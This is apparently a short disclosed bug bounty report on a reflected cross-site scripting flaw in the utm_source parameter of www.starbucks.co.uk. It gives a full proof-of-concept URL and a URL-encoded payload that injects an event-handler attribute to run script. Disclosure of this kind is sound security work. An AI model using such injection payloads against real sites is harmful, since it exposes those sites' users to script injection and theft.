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Starbucks · Report #140616

www.starbucks.co.uk Reflected XSS via utm_source parameter

Validstatus

36upvotes

19 Dec 2016disclosed

How it was found

https://www.starbucks.co.uk/shop/card/egift?utm_campaign=egift&utm_content=WinterFY16&utm_medium=GPH&utm_source=SBUXcouk"%3e%3cb%20onbeforescriptexecute=prompt(document.domain)%3e

Payload: "%3e%3cb%20onbeforescriptexecute=prompt(document.domain)%3e

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